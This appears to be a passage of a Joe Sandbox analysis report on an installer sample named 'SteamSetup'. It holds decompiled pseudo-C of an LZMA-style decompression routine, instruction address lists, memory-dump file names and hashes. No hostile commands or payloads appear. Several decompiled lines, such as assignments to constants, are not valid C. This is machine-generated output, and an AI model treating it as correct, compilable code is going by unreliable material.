							 *_t178 = _v56 & 0x00000000;
							__eflags =  *_t178;
							goto L57;
						case 0xf:
							L60:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xf;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t208 =  &_v116;
							 *_t208 = _v116 + 1;
							__eflags =  *_t208;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L62:
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								L57:
								__al = _v72;
								_v96 = _v72;
								goto L58;
							}
							L63:
							__eax = _v92;
							__edx = __ebx + __ebx;
							__ecx = _v20;
							__esi = __edx + __eax;
							__ecx = _v20 >> 0xb;
							__ax =  *__esi;
							_v88 = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = (_v20 >> 0xb) * __edi;
							__eflags = _v16 - __ecx;
							if(_v16 >= __ecx) {
								_v20 = _v20 - __ecx;
								_v16 = _v16 - __ecx;
								__cx = __ax;
								_t222 = __edx + 1; // 0x1
								__ebx = _t222;
								__cx = __ax >> 5;
								__eflags = __eax;
								 *__esi = __ax;
							} else {
								_v20 = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags = _v20 - 0x1000000;
							_v72 = __ebx;
							if(_v20 >= 0x1000000) {
								goto L62;
							} else {
								goto L60;
							}
						case 0x10:
							L112:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0x10;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t371 =  &_v116;
							 *_t371 = _v116 + 1;
							__eflags =  *_t371;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							goto L114;
						case 0x11:
							L71:
							__esi = _v92;
							_v136 = 0x12;
							goto L135;
						case 0x12:
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v92;
								_v136 = 0x13;
								__esi = _v92 + 2;
								L135:
								_v88 = _t626;
								goto L136;
							}
							__eax = _v80;
							_v52 = _v52 & 0x00000000;
							__ecx = _v92;
							__eax = _v80 << 4;
							__eflags = __eax;
							__eax = _v92 + __eax + 4;
							goto L133;
						case 0x13:
							__eflags = _v68;
							if(_v68 != 0) {
								_t475 =  &_v92;
								 *_t475 = _v92 + 0x204;
								__eflags =  *_t475;
								_v52 = 0x10;
								_v68 = 8;
								L147:
								_v128 = 0x14;
								goto L148;
							}
							__eax = _v80;
							__ecx = _v92;
							__eax = _v80 << 4;
							_v52 = 8;
							__eax = _v92 + (_v80 << 4) + 0x104;
							L133:
							_v92 = __eax;
							_v68 = 3;
							goto L147;
						case 0x14:
							_v52 = _v52 + __ebx;
							__eax = _v132;
							goto L143;
						case 0x15:
							__eax = 0;
							__eflags = _v60 - 7;
							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
							__al = __al & 0x000000fd;
							__eax = (__eflags >= 0) - 1 + 0xb;
							_v60 = (__eflags >= 0) - 1 + 0xb;
							goto L123;
						case 0x16:
							__eax = _v52;
							__eflags = __eax - 4;
							if(__eax >= 4) {
								_push(3);
								_pop(__eax);
							}
							__ecx = _v8;
							_v68 = 6;
							__eax = __eax << 7;
							_v128 = 0x19;
							_v92 = __eax;
							goto L148;
						case 0x17:
							L148:
							__eax = _v68;
							_v84 = 1;
							_v76 = _v68;
							goto L152;
						case 0x18:
							L149:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0x18;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t490 =  &_v116;
							 *_t490 = _v116 + 1;
							__eflags =  *_t490;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L151:
							_t493 =  &_v76;
							 *_t493 = _v76 - 1;
							__eflags =  *_t493;
							L152:
							__eflags = _v76;
							if(_v76 <= 0) {
								__ecx = _v68;
								__ebx = _v84;
								0 = 1;
								__eax = 1 << __cl;
								__ebx = _v84 - (1 << __cl);
								__eax = _v128;
								_v72 = __ebx;
								L143:
								_v140 = _t561;
								goto L3;
							}
							__eax = _v84;
							_v20 = _v20 >> 0xb;
							__edx = _v84 + _v84;
							__eax = _v92;
							__esi = __edx + __eax;
							_v88 = __esi;
							__ax =  *__esi;
							__edi = __ax & 0x0000ffff;
							__ecx = (_v20 >> 0xb) * __edi;
							__eflags = _v16 - __ecx;
							if(_v16 >= __ecx) {
								_v20 = _v20 - __ecx;
								_v16 = _v16 - __ecx;
								__cx = __ax;
								__cx = __ax >> 5;
								__eax = __eax - __ecx;
								__edx = __edx + 1;
								__eflags = __edx;
								 *__esi = __ax;
								_v84 = __edx;
							} else {
								_v20 = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								_v84 = _v84 << 1;
								 *__esi = __cx;
							}
							__eflags = _v20 - 0x1000000;
							if(_v20 >= 0x1000000) {
								goto L151;
							} else {
								goto L149;
							}
						case 0x19:
							__eflags = __ebx - 4;
							if(__ebx < 4) {
								_v48 = __ebx;
								L122:
								_t399 =  &_v48;
								 *_t399 = _v48 + 1;
								__eflags =  *_t399;
								L123:
								__eax = _v48;
								__eflags = __eax;
								if(__eax == 0) {
									_v52 = _v52 | 0xffffffff;
									goto L173;
								}
								__eflags = __eax - _v100;
								if(__eax > _v100) {
									goto L174;
								}
								_v52 = _v52 + 2;
								__eax = _v52;
								_t406 =  &_v100;
								 *_t406 = _v100 + _v52;
								__eflags =  *_t406;
								goto L126;
							}
							__ecx = __ebx;
							__eax = __ebx;
							__ecx = __ebx >> 1;
							__eax = __ebx & 0x00000001;
							__ecx = (__ebx >> 1) - 1;
							__al = __al | 0x00000002;
							__eax = (__ebx & 0x00000001) << __cl;
							__eflags = __ebx - 0xe;
							_v48 = __eax;
							if(__ebx >= 0xe) {
								__ebx = 0;
								_v76 = __ecx;
								L105:
								__eflags = _v76;
								if(_v76 <= 0) {
									__eax = __eax + __ebx;
									_v68 = 4;
									_v48 = __eax;
									__eax = _v8;
									__eax = _v8 + 0x644;
									__eflags = __eax;
									L111:
									__ebx = 0;
									_v92 = __eax;
									_v84 = 1;
									_v72 = 0;
									_v76 = 0;
									L115:
									__eax = _v68;
									__eflags = _v76 - _v68;
									if(_v76 >= _v68) {
										_t397 =  &_v48;
										 *_t397 = _v48 + __ebx;
										__eflags =  *_t397;
										goto L122;
									}
									__eax = _v84;
									_v20 = _v20 >> 0xb;
									__edi = _v84 + _v84;
									__eax = _v92;
									__esi = __edi + __eax;
									_v88 = __esi;
									__ax =  *__esi;
									__ecx = __ax & 0x0000ffff;
									__edx = (_v20 >> 0xb) * __ecx;
									__eflags = _v16 - __edx;
									if(_v16 >= __edx) {
										__ecx = 0;
										_v20 = _v20 - __edx;
										__ecx = 1;
										_v16 = _v16 - __edx;
										__ebx = 1;
										__ecx = _v76;
										__ebx = 1 << __cl;
										__ecx = 1 << __cl;
										__ebx = _v72;
										__ebx = _v72 | __ecx;
										__cx = __ax;
										__cx = __ax >> 5;
										__eax = __eax - __ecx;
										__edi = __edi + 1;
										__eflags = __edi;
										_v72 = __ebx;
										 *__esi = __ax;
										_v84 = __edi;
									} else {
										_v20 = __edx;
										0x800 = 0x800 - __ecx;
										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
										_v84 = _v84 << 1;
										 *__esi = __dx;
									}
									__eflags = _v20 - 0x1000000;
									if(_v20 >= 0x1000000) {
										L114:
										_t374 =  &_v76;
										 *_t374 = _v76 + 1;
										__eflags =  *_t374;
										goto L115;
									} else {
										goto L112;
									}
								}
								__ecx = _v16;
								__ebx = __ebx + __ebx;
								_v20 = _v20 >> 1;
								__eflags = _v16 - _v20;
								_v72 = __ebx;
								if(_v16 >= _v20) {
									__ecx = _v20;
									_v16 = _v16 - _v20;
									__ebx = __ebx | 0x00000001;
									__eflags = __ebx;
									_v72 = __ebx;
								}
								__eflags = _v20 - 0x1000000;
								if(_v20 >= 0x1000000) {
									L104:
									_t344 =  &_v76;
									 *_t344 = _v76 - 1;
									__eflags =  *_t344;
									goto L105;
								} else {
									goto L102;
								}
							}
							__edx = _v8;
							__eax = __eax - __ebx;
							_v68 = __ecx;
							__eax = _v8 + 0x55e + __eax * 2;
							goto L111;
						case 0x1a:
							L58:
							__eflags = _v104;
							if(_v104 == 0) {
								_v140 = 0x1a;
								goto L173;
							}
							__ecx = _v108;
							__al = _v96;
							__edx = _v12;
							_v100 = _v100 + 1;
							_v108 = _v108 + 1;
							_v104 = _v104 - 1;
							 *_v108 = __al;
							__ecx = _v24;
							 *(_v12 + __ecx) = __al;
							__eax = __ecx + 1;
							__edx = 0;
							_t197 = __eax % _v120;
							__eax = __eax / _v120;
							__edx = _t197;
							goto L82;
						case 0x1b:
							L78:
							__eflags = _v104;
							if(_v104 == 0) {
								_v140 = 0x1b;
								goto L173;
							}
							__eax = _v24;
							__eax = _v24 - _v48;
							__eflags = __eax - _v120;
							if(__eax >= _v120) {
								__eax = __eax + _v120;
								__eflags = __eax;
							}
							__edx = _v12;
							__cl =  *(__edx + __eax);
							__eax = _v24;
							_v96 = __cl;
							 *(__edx + __eax) = __cl;
							__eax = __eax + 1;
							__edx = 0;
							_t280 = __eax % _v120;
							__eax = __eax / _v120;
							__edx = _t280;
							__eax = _v108;
							_v100 = _v100 + 1;
							_v108 = _v108 + 1;
							_t289 =  &_v104;
							 *_t289 = _v104 - 1;
							__eflags =  *_t289;
							 *_v108 = __cl;
							L82:
							_v24 = __edx;
							goto L83;
						case 0x1c:
							while(1) {
								L126:
								__eflags = _v104;
								if(_v104 == 0) {
									break;
								}
								__eax = _v24;
								__eax = _v24 - _v48;
								__eflags = __eax - _v120;
								if(__eax >= _v120) {
									__eax = __eax + _v120;
									__eflags = __eax;
								}
								__edx = _v12;
								__cl =  *(__edx + __eax);
								__eax = _v24;
								_v96 = __cl;
								 *(__edx + __eax) = __cl;
								__eax = __eax + 1;
								__edx = 0;
								_t420 = __eax % _v120;
								__eax = __eax / _v120;
								__edx = _t420;
								__eax = _v108;
								_v108 = _v108 + 1;
								_v104 = _v104 - 1;
								_v52 = _v52 - 1;
								__eflags = _v52;
								 *_v108 = __cl;
								_v24 = _t420;
								if(_v52 > 0) {
									continue;
								} else {
									L83:
									_v140 = 2;
									goto L3;
								}
							}
							_v140 = 0x1c;
							L173:
							_push(0x22);
							_pop(_t574);
							memcpy(_v148,  &_v140, _t574 << 2);
							return 0;
					}
				}
				L174:
				_t538 = _t537 | 0xffffffff;
				return _t538;
			}

0x004066a7
0x004066ae
0x004066b4
0x004066ba
0x00000000
0x004066be
0x004066ca
0x004066ca
0x004066ca
0x004066d3
0x00000000
0x00000000
0x004066d9
0x00000000
0x004066e0
0x004066e4
0x00000000
0x00000000
0x004066ed
0x004066f0
0x004066f3
0x004066f5
0x004066f7
0x00000000
0x00000000
0x004066fd
0x00406700
0x00406702
0x00406703
0x00406706
0x00406708
0x00406709
0x0040670b
0x0040670e
0x00406713
0x00406718
0x00406721
0x00406734
0x00406737
0x00406740
0x00406743
0x0040676b
0x0040676b
0x0040676d
0x0040677b
0x0040677b
0x0040677f
0x00000000
0x00000000
0x00000000
0x00000000
0x0040676f
0x0040676f
0x00406772
0x00406772
0x00406773
0x00406773
0x00000000
0x0040676f
0x00406745
0x00406749
0x0040674e
0x0040674e
0x00406757
0x0040675d
0x0040675f
0x00406762
0x00000000
0x00406768
0x00406768
0x00000000
0x00406768
0x00000000
0x00406785
0x00406785
0x00406789
0x00407035
0x00000000
0x00407035
0x00406792
0x004067a2
0x004067a5
0x004067a8
0x004067a8
0x004067a8
0x004067ab
0x004067ab
0x004067af
0x00000000
0x00000000
0x004067b1
0x004067b4
0x004067b7
0x004067e1
0x004067e7
0x004067ee
0x00000000
0x004067ee
0x004067b9
0x004067bd
0x004067c0
0x004067c5
0x004067c5
0x004067d0
0x004067d6
0x004067d8
0x004067db
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406820
0x00406826
0x00406829
0x00406836
0x0040683e
0x00000000
0x00000000
0x004067f5
0x004067f5
0x004067f9
0x00407044
0x00000000
0x00407044
0x00406805
0x00406810
0x00406810
0x00406810
0x00406813
0x00406816
0x00406819
0x0040681c
0x0040681e
0x00000000
0x00000000
0x00000000
0x00000000
0x00406eb5
0x00406eb5
0x00406ebb
0x00406ec1
0x00406ec4
0x00406ec7
0x00406ee1
0x00406ee4
0x00406eea
0x00406ef5
0x00406ef5
0x00406ef7
0x00406ec9
0x00406ec9
0x00406ed8
0x00406edc
0x00406edc
0x00406efa
0x00406f01
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406f03
0x00406f03
0x00406f07
0x004070b6
0x00000000
0x004070b6
0x00406f13
0x00406f1a
0x00406f22
0x00406f22
0x00406f22
0x00406f25
0x00406f28
0x00406f28
0x00000000
0x00000000
0x00406846
0x00406848
0x0040684b
0x004068bc
0x004068bf
0x004068c2
0x004068c9
0x004068d3
0x00000000
0x004068d3
0x0040684d
0x00406851
0x00406854
0x00406856
0x00406859
0x0040685c
0x0040685e
0x00406861
0x00406863
0x00406868
0x0040686b
0x0040686e
0x00406872
0x00406879
0x0040687c
0x00406883
0x00406887
0x0040688f
0x0040688f
0x0040688f
0x00406889
0x00406889
0x00406889
0x0040687e
0x0040687e
0x0040687e
0x00406893
0x00406896
0x004068b4
0x004068b6
0x00000000
0x004068b6
0x00406898
0x0040689b
0x0040689e
0x004068a1
0x004068a3
0x004068a3
0x004068a3
0x004068a6
0x004068a9
0x004068ab
0x004068ac
0x004068af
0x00000000
0x00000000
0x00406ae5
0x00406ae9
0x00406b07
0x00406b0a
0x00406b11
0x00406b14
0x00406b17
0x00406b1a
0x00406b1d
0x00406b20
0x00406b22
0x00406b29
0x00406b2a
0x00406b2c
0x00406b2f
0x00406b32
0x00406b35
0x00406b35
0x00406b3a
0x00000000
0x00406b3a
0x00406aeb
0x00406aee
0x00406af1
0x00406afb
0x00000000
0x00000000
0x00406b4f
0x00406b53
0x00406b76
0x00406b79
0x00406b7c
0x00406b86
0x00406b55
0x00406b55
0x00406b58
0x00406b5b
0x00406b5e
0x00406b6b
0x00406b6e
0x00406b6e
0x00000000
0x00000000
0x00406b92
0x00406b96
0x00000000
0x00000000
0x00406b9c
0x00406ba0
0x00000000
0x00000000
0x00406ba6
0x00406ba8
0x00406bac
0x00406bac
0x00406baf
0x00406bb3
0x00000000
0x00000000
0x00406c03
0x00406c07
0x00406c0e
0x00406c11
0x00406c14
0x00406c1e
0x00000000
0x00406c1e
0x00406c09
0x00000000
0x00000000
0x00406c2a
0x00406c2e
0x00406c35
0x00406c38
0x00406c3b
0x00406c30
0x00406c30
0x00406c30
0x00406c3e
0x00406c41
0x00406c44
0x00406c44
0x00406c47
0x00406c4a
0x00406c4d
0x00406c4d
0x00406c50
0x00406c57
0x00406c5c
0x00000000
0x00000000
0x00406cea
0x00406cea
0x00406cee
0x0040708c
0x00000000
0x0040708c
0x00406cf4
0x00406cf7
0x00406cfa
0x00406cfe
0x00406d01
0x00406d07
0x00406d09
0x00406d09
0x00406d09
0x00406d0c
0x00406d0f
0x00000000
0x00000000
0x004068df
0x004068df
0x004068e3
0x00407050
0x00000000
0x00407050
0x004068e9
0x004068ec
0x004068ef
0x004068f3
0x004068f6
0x004068fc
0x004068fe
0x004068fe
0x004068fe
0x00406901
0x00406904
0x00406904
0x00406907
0x0040690a
0x00000000
0x00000000
0x00406910
0x00406916
0x00000000
0x00000000
0x0040691c
0x0040691c
0x00406920
0x00406923
0x00406926
0x00406929
0x0040692c
0x0040692d
0x00406930
0x00406932
0x00406938
0x0040693b
0x0040693e
0x00406941
0x00406944
0x00406947
0x0040694a
0x00406966
0x00406969
0x0040696c
0x0040696f
0x00406976
0x0040697a
0x0040697c
0x00406980
0x0040694c
0x0040694c
0x00406950
0x00406958
0x0040695d
0x0040695f
0x00406961
0x00406961
0x00406983
0x0040698a
0x0040698d
0x00000000
0x00406993
0x00000000
0x00406993
0x00000000
0x00406998
0x00406998
0x0040699c
0x0040705c
0x00000000
0x0040705c
0x004069a2
0x004069a5
0x004069a8
0x004069ac
0x004069af
0x004069b5
0x004069b7
0x004069b7
0x004069b7
0x004069ba
0x004069bd
0x004069bd
0x004069bd
0x004069c3
0x00000000
0x00000000
0x004069c5
0x004069c8
0x004069cb
0x004069ce
0x004069d1
0x004069d4
0x004069d7
0x004069da
0x004069dd
0x004069e0
0x004069e3
0x004069fb
0x004069fe
0x00406a01
0x00406a04
0x00406a04
0x00406a07
0x00406a0b
0x00406a0d
0x004069e5
0x004069e5
0x004069ed
0x004069f2
0x004069f4
0x004069f6
0x004069f6
0x00406a10
0x00406a17
0x00406a1a
0x00000000
0x00406a1c
0x00000000
0x00406a1c
0x00406a1a
0x00406a21
0x00406a21
0x00406a21
0x00406a21
0x00000000
0x00000000
0x00406a5c
0x00406a5c
0x00406a60
0x00407068
0x00000000
0x00407068
0x00406a66
0x00406a69
0x00406a6c
0x00406a70
0x00406a73
0x00406a79
0x00406a7b
0x00406a7b
0x00406a7b
0x00406a7e
0x00406a81
0x00406a81
0x00406a87
0x00406a25
0x00406a25
0x00406a28
0x00000000
0x00406a28
0x00406a89
0x00406a89
0x00406a8c
0x00406a8f
0x00406a92
0x00406a95
0x00406a98
0x00406a9b
0x00406a9e
0x00406aa1
0x00406aa4
0x00406aa7
0x00406abf
0x00406ac2
0x00406ac5
0x00406ac8
0x00406ac8
0x00406acb
0x00406acf
0x00406ad1
0x00406aa9
0x00406aa9
0x00406ab1
0x00406ab6
0x00406ab8
0x00406aba
0x00406aba
0x00406ad4
0x00406adb
0x00406ade
0x00000000
0x00406ae0
0x00000000
0x00406ae0
0x00000000
0x00406d6d
0x00406d6d
0x00406d71
0x00407098
0x00000000
0x00407098
0x00406d77
0x00406d7a
0x00406d7d
0x00406d81
0x00406d84
0x00406d8a
0x00406d8c
0x00406d8c
0x00406d8c
0x00406d8f
0x00000000
0x00000000
0x00406b3d
0x00406b3d
0x00406b40
0x00000000
0x00000000
0x00406e7c
0x00406e80
0x00406ea2
0x00406ea5
0x00406eaf
0x00406eb2
0x00406eb2
0x00000000
0x00406eb2
0x00406e82
0x00406e85
0x00406e89
0x00406e8c
0x00406e8c
0x00406e8f
0x00000000
0x00000000
0x00406f39
0x00406f3d
0x00406f5b
0x00406f5b
0x00406f5b
0x00406f62
0x00406f69
0x00406f70
0x00406f70
0x00000000
0x00406f70
0x00406f3f
0x00406f42
0x00406f45
0x00406f48
0x00406f4f
0x00406e93
0x00406e93
0x00406e96
0x00000000
0x00000000
0x0040702a
0x0040702d
0x00000000
0x00000000
0x00406c64
0x00406c66
0x00406c6d
0x00406c6e
0x00406c70
0x00406c73
0x00000000
0x00000000
0x00406c7b
0x00406c7e
0x00406c81
0x00406c83
0x00406c85
0x00406c85
0x00406c86
0x00406c89
0x00406c90
0x00406c93
0x00406ca1
0x00000000
0x00000000
0x00406f77
0x00406f77
0x00406f7a
0x00406f81
0x00000000
0x00000000
0x00406f86
0x00406f86
0x00406f8a
0x004070c2
0x00000000
0x004070c2
0x00406f90
0x00406f93
0x00406f96
0x00406f9a
0x00406f9d
0x00406fa3
0x00406fa5
0x00406fa5
0x00406fa5
0x00406fa8
0x00406fab
0x00406fab
0x00406fab
0x00406fab
0x00406fae
0x00406fae
0x00406fb2
0x00407012
0x00407015
0x0040701a
0x0040701b
0x0040701d
0x0040701f
0x00407022
0x00406f2e
0x00406f2e
0x00000000
0x00406f2e
0x00406fb4
0x00406fba
0x00406fbd
0x00406fc0
0x00406fc3
0x00406fc6
0x00406fc9
0x00406fcc
0x00406fcf
0x00406fd2
0x00406fd5
0x00406fee
0x00406ff1
0x00406ff4
0x00406ff7
0x00406ffb
0x00406ffd
0x00406ffd
0x00406ffe
0x00407001
0x00406fd7
0x00406fd7
0x00406fdf
0x00406fe4
0x00406fe6
0x00406fe9
0x00406fe9
0x00407004
0x0040700b
0x00000000
0x0040700d
0x00000000
0x0040700d
0x00000000
0x00406ca9
0x00406cac
0x00406ce2
0x00406e12
0x00406e12
0x00406e12
0x00406e12
0x00406e15
0x00406e15
0x00406e18
0x00406e1a
0x004070a4
0x00000000
0x004070a4
0x00406e20
0x00406e23
0x00000000
0x00000000
0x00406e29
0x00406e2d
0x00406e30
0x00406e30
0x00406e30
0x00000000
0x00406e30
0x00406cae
0x00406cb0
0x00406cb2
0x00406cb4
0x00406cb7
0x00406cb8
0x00406cba
0x00406cbc
0x00406cbf
0x00406cc2
0x00406cd8
0x00406cdd
0x00406d15
0x00406d15
0x00406d19
0x00406d45
0x00406d47
0x00406d4e
0x00406d51
0x00406d54
0x00406d54
0x00406d59
0x00406d59
0x00406d5b
0x00406d5e
0x00406d65
0x00406d68
0x00406d95
0x00406d95
0x00406d98
0x00406d9b
0x00406e0f
0x00406e0f
0x00406e0f
0x00000000
0x00406e0f
0x00406d9d
0x00406da3
0x00406da6
0x00406da9
0x00406dac
0x00406daf
0x00406db2
0x00406db5
0x00406db8
0x00406dbb
0x00406dbe
0x00406dd7
0x00406dd9
0x00406ddc
0x00406ddd
0x00406de0
0x00406de2
0x00406de5
0x00406de7
0x00406de9
0x00406dec
0x00406dee
0x00406df1
0x00406df5
0x00406df7
0x00406df7
0x00406df8
0x00406dfb
0x00406dfe
0x00406dc0
0x00406dc0
0x00406dc8
0x00406dcd
0x00406dcf
0x00406dd2
0x00406dd2
0x00406e01
0x00406e08
0x00406d92
0x00406d92
0x00406d92
0x00406d92
0x00000000
0x00406e0a
0x00000000
0x00406e0a
0x00406e08
0x00406d1b
0x00406d1e
0x00406d20
0x00406d23
0x00406d26
0x00406d29
0x00406d2b
0x00406d2e
0x00406d31
0x00406d31
0x00406d34
0x00406d34
0x00406d37
0x00406d3e
0x00406d12
0x00406d12
0x00406d12
0x00406d12
0x00000000
0x00406d40
0x00000000
0x00406d40
0x00406d3e
0x00406cc4
0x00406cc7
0x00406cc9
0x00406ccc
0x00000000
0x00000000
0x00406a2b
0x00406a2b
0x00406a2f
0x00407074
0x00000000
0x00407074
0x00406a35
0x00406a38
0x00406a3b
0x00406a3e
0x00406a41
0x00406a44
0x00406a47
0x00406a49
0x00406a4c
0x00406a4f
0x00406a52
0x00406a54
0x00406a54
0x00406a54
0x00000000
0x00000000
0x00406bb6
0x00406bb6
0x00406bba
0x00407080
0x00000000
0x00407080
0x00406bc0
0x00406bc3
0x00406bc6
0x00406bc9
0x00406bcb
0x00406bcb
0x00406bcb
0x00406bce
0x00406bd1
0x00406bd4
0x00406bd7
0x00406bda
0x00406bdd
0x00406bde
0x00406be0
0x00406be0
0x00406be0
0x00406be3
0x00406be6
0x00406be9
0x00406bec
0x00406bec
0x00406bec
0x00406bef
0x00406bf1
0x00406bf1
0x00000000
0x00000000
0x00406e33
0x00406e33
0x00406e33
0x00406e37
0x00000000
0x00000000
0x00406e3d
0x00406e40
0x00406e43
0x00406e46
0x00406e48
0x00406e48
0x00406e48
0x00406e4b
0x00406e4e
0x00406e51
0x00406e54
0x00406e57
0x00406e5a
0x00406e5b
0x00406e5d
0x00406e5d
0x00406e5d
0x00406e60
0x00406e63
0x00406e66
0x00406e69
0x00406e6c
0x00406e70
0x00406e72
0x00406e75
0x00000000
0x00406e77
0x00406bf4
0x00406bf4
0x00000000
0x00406bf4
0x00406e75
0x004070aa
0x004070cc
0x004070d2
0x004070d4
0x004070db
0x00000000
0x00000000
0x004066d9
0x004070e1
0x004070e1
0x00000000

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a646d1c18714c06b63ca95da94aa03745834858b299022791e2b3ebf89425e7d
Instruction ID: 5389f57cfb4a3ea8b0a271fe5c21418892ef356aef38e154ca47b5156c43700c
Opcode Fuzzy Hash: a646d1c18714c06b63ca95da94aa03745834858b299022791e2b3ebf89425e7d
Instruction Fuzzy Hash: 37816831D04229CBDF24CFA8C844BADBBB0FF44305F11816AD956BB281D7785986DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00406AE5 Relevance: 5.2, APIs: 4, Instructions: 180
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406AE5() {
				signed int _t539;
				unsigned short _t540;
				signed int _t541;
				void _t542;
				signed int _t543;
				signed int _t544;
				signed int _t573;
				signed int _t576;
				signed int _t597;
				signed int* _t614;
				void* _t621;

				L0:
				while(1) {
					L0:
					if( *(_t621 - 0x40) != 1) {
						 *((intOrPtr*)(_t621 - 0x80)) = 0x16;
						 *((intOrPtr*)(_t621 - 0x20)) =  *((intOrPtr*)(_t621 - 0x24));
						 *((intOrPtr*)(_t621 - 0x24)) =  *((intOrPtr*)(_t621 - 0x28));
						 *((intOrPtr*)(_t621 - 0x28)) =  *((intOrPtr*)(_t621 - 0x2c));
						 *(_t621 - 0x38) = ((0 |  *(_t621 - 0x38) - 0x00000007 >= 0x00000000) - 0x00000001 & 0x000000fd) + 0xa;
						_t539 =  *(_t621 - 4) + 0x664;
						 *(_t621 - 0x58) = _t539;
						goto L68;
					} else {
						 *(__ebp - 0x84) = 8;
						while(1) {
							L132:
							 *(_t621 - 0x54) = _t614;
							while(1) {
								L133:
								_t540 =  *_t614;
								_t597 = _t540 & 0x0000ffff;
								_t573 = ( *(_t621 - 0x10) >> 0xb) * _t597;
								if( *(_t621 - 0xc) >= _t573) {
									 *(_t621 - 0x10) =  *(_t621 - 0x10) - _t573;
									 *(_t621 - 0xc) =  *(_t621 - 0xc) - _t573;
									 *(_t621 - 0x40) = 1;
									_t541 = _t540 - (_t540 >> 5);
									 *_t614 = _t541;
								} else {
									 *(_t621 - 0x10) = _t573;
									 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
									 *_t614 = (0x800 - _t597 >> 5) + _t540;
								}
								if( *(_t621 - 0x10) >= 0x1000000) {
									goto L139;
								}
								L137:
								if( *(_t621 - 0x6c) == 0) {
									 *(_t621 - 0x88) = 5;
									L170:
									_t576 = 0x22;
									memcpy( *(_t621 - 0x90), _t621 - 0x88, _t576 << 2);
									_t544 = 0;
									L172:
									return _t544;
								}
								 *(_t621 - 0x10) =  *(_t621 - 0x10) << 8;
								 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
								 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
								 *(_t621 - 0xc) =  *(_t621 - 0xc) << 0x00000008 |  *( *(_t621 - 0x70)) & 0x000000ff;
								L139:
								_t542 =  *(_t621 - 0x84);
								while(1) {
									 *(_t621 - 0x88) = _t542;
									while(1) {
										L1:
										_t543 =  *(_t621 - 0x88);
										if(_t543 > 0x1c) {
											break;
										}
										switch( *((intOrPtr*)(_t543 * 4 +  &M004070E9))) {
											case 0:
												if( *(_t621 - 0x6c) == 0) {
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
												_t543 =  *( *(_t621 - 0x70));
												if(_t543 > 0xe1) {
													goto L171;
												}
												_t547 = _t543 & 0x000000ff;
												_push(0x2d);
												asm("cdq");
												_pop(_t578);
												_push(9);
												_pop(_t579);
												_t617 = _t547 / _t578;
												_t549 = _t547 % _t578 & 0x000000ff;
												asm("cdq");
												_t612 = _t549 % _t579 & 0x000000ff;
												 *(_t621 - 0x3c) = _t612;
												 *(_t621 - 0x1c) = (1 << _t617) - 1;
												 *((intOrPtr*)(_t621 - 0x18)) = (1 << _t549 / _t579) - 1;
												_t620 = (0x300 << _t612 + _t617) + 0x736;
												if(0x600 ==  *((intOrPtr*)(_t621 - 0x78))) {
													L10:
													if(_t620 == 0) {
														L12:
														 *(_t621 - 0x48) =  *(_t621 - 0x48) & 0x00000000;
														 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
														goto L15;
													} else {
														goto L11;
													}
													do {
														L11:
														_t620 = _t620 - 1;
														 *((short*)( *(_t621 - 4) + _t620 * 2)) = 0x400;
													} while (_t620 != 0);
													goto L12;
												}
												if( *(_t621 - 4) != 0) {
													GlobalFree( *(_t621 - 4));
												}
												_t543 = GlobalAlloc(0x40, 0x600); // executed
												 *(_t621 - 4) = _t543;
												if(_t543 == 0) {
													goto L171;
